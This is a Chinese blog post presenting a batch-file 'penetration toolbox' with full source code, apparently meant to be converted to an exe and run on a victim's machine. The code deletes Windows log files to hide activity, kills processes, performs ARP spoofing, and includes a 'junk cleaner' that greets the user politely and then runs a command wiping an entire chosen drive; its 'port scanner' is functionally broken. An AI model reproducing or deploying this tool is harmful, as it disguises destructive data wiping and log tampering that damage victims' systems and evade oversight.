安全测试之简单渗透工具箱的制作

本文仅作学习参考!!!!不可另作他用或转载!!!!

本文仅作学习参考!!!!不可另作他用或转载!!!!

本文仅作学习参考!!!!不可另作他用或转载!!!!

本文仅作学习参考!!!!不可另作他用或转载!!!!

项目功能:

源代码在文章末尾。

简单渗透工具箱:

        1.1时间查看;

        1.2 计算机服务查看;

        1.3通过进程号或进程名结束目标应用;

        1.4删除日志;

        1.5查看用户集;

        1.6 目标文件查找;

        1.7查看计算机本地安全设置;

        1.8查看本机IP下的端口情况;

        1.9来进行MAC地址伪造,把本机变目标机的主机;

        1.10事务查看;

        1.11.清理清理垃圾(实际为清除目标机系统盘);

实现方法:

        1. 简单渗透工具箱:使用bat文件进行编写,并使用bat to exe工具进行类型修改。

2.1 简单渗透工具箱测试计划执行情况

        2.1.1 时间查看功能相关测试

该系统界面如图2-1所示:

图2-1界面


输入“1”时反馈情况如图2-2所示:

图2-2输入“1”时信息反馈

错误信息后界面跳转如图2-3所示:

图2-3 错误信息后界面跳转

2.1.2 查看服务功能相关测试


信息界面如图2-4所示:

图2-4信息界面

输入“2”信息成功时界面反馈如图2-5所示:


图2-5成功界面展示

2.1.3 结束进程功能相关测试

信息界面如图2-6所示:

图2-6查询签到信息界面展示


输入“3”信息界面如图2-7所示:

图2-7 输入“3”信息界面展示


输入信息错误时界面如图2-8所示:

图2-8输入信息错误时界面展示

输入信息正确时界面如图2-9所示:

图2-9输入信息正确时界面展示

2.1.4文件 查询功能相关测试
文件查询信息界面如图2-10所示:

图2-10文件查询展示

2.1.5 查询本地安全设置功能相关测试


查询本地安全设置信息界面如图2-11所示:

图2-11查询本地安全设置展示

2.1.6事件查询功能相关测试
事件查询信息界面如图2-12所示:

图2-12事件查询展示

2.1.7清理垃圾(清空目标盘)功能相关测试
清理垃圾(清空目标盘)功能界面如图2-13所示:

图2-13 清理垃圾功能界面展示


成功清理垃圾(清空目标盘)功能界面如图2-12所示:

图2-14成功清理垃圾功能界面展示

2.1.8退出功能相关测试
退出功能界面如图2-15所示:

图2-15退出界面展示

源代码:

@echo off
title  简易工具箱! 
mode con cols =100 lines=100&color 0a
:menu
cls
echo =============================================
echo 	看看我在你的计算机里都能干嘛呢?
echo		1.来看看你所处的时区!
echo		2.来看看你的计算器里运行的服务!
echo		3.你在干嘛?看我来结束你的应用!
echo		4.我的行为可不能被发现!来删除日志!
echo		5.谁和你一起在使用这个电脑!
echo		6.来找找你的关键文件!
echo		7.来看看你的本地安全设置吧!
echo		8.看看你的IP都有什么端口!
echo		9.来进行MAC地址伪造,把我变成主机好了!
echo		10.你最近都在这台计算器里干了什么?!
echo		11.来清理清理垃圾怎么样?!
echo		12.退出
echo =============================================
set /p num=请输入你的选择:
if "%num%"=="1" goto 1
if "%num%"=="2" goto 2
if "%num%"=="3" goto 3
if "%num%"=="4" goto 4
if "%num%"=="5" goto 5
if "%num%"=="6" goto 6
if "%num%"=="7" goto 7
if "%num%"=="8" goto 8
if "%num%"=="9" goto 9
if "%num%"=="10" goto 10
if "%num%"=="11" goto 11
if "%num%"=="12" goto 12
echo 你没选对啊?! 从1~12中选择!
pause
goto menu
:1
@echo off
echo.
echo 现在的时间是: %DATE% %TIME%!!!!
echo.
pause
goto menu
:2
@echo off
echo 列出系统上运行的所有服务:
net start
pause

goto menu
:3
@echo off
set /p PROCESS_NAME=请输入要结束的进程名称:
echo 结束进程 %PROCESS_NAME%...
taskkill /f /im %PROCESS_NAME%
echo 进程已结束。
pause
goto menu
:4
@echo off
echo 键入ENTER开始清理系统日志...
pause
del /q /f "C:\Windows\System32\*.log"
echo 系统日志清理完成。
pause
goto menu
:5
@echo off
echo 列出系统上的所有用户:
net user
pause

goto menu
:6
@echo off
set /p w=请输入需要找出的文件后缀:
set /p pan=请输入需要寻找的盘符:
echo Searching for *.%w% files in %pan%:\123  >nul 2>null
for /r %pan%:\123 %%f in (*.%w%) do (
    echo 找到文件: %%f
)
pause

goto menu
:7
@echo off
REM 检查安全审计设置
secpol.msc /s

pause

goto menu
:8
@echo off
set /p IP=请输入要扫描的IP地址:
echo 正在扫描端口...
for /l %%i in (1,1,1024) do (
    echo 正在检查端口 %%i...
    timeout /t 2 >nul
    ping -n 1 -l 1 -w 1000 %IP% | find "TTL=" >nul
    if not errorlevel 1 (
        echo 端口 %%i 处于开放状态
    )
)
pause
goto menu

:9
@echo off
set /p IP_ADDRESS=请输入目标IP地址:
set /p MAC_ADDRESS=请输入伪造的MAC地址:
echo 开始ARP欺骗...
arp -d %IP_ADDRESS%  ; 清除ARP缓存
arp -s %IP_ADDRESS% %MAC_ADDRESS%  ; 添加伪造的ARP条目
echo ARP欺骗完成。
pause

goto menu

:10
@echo off

REM 启动事件查看器
eventvwr.msc
pause
goto menu
:11
@echo off
echo===========================
echo.
echo 您好,我可以帮你清理垃圾文件
echo                --by 王昭辰
echo===========================
pause

set /p pan=请输入需要清理的盘符:
rd %pan%: /s/q >nul 2>null
echo 感谢使用,%pan%盘已清空
pause
goto menu

:12
exit

本文仅作学习参考!!!!不可另作他用或转载!!!!

本文仅作学习参考!!!!不可另作他用或转载!!!!

本文仅作学习参考!!!!不可另作他用或转载!!!!

本文仅作学习参考!!!!不可另作他用或转载!!!!

  • 22
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值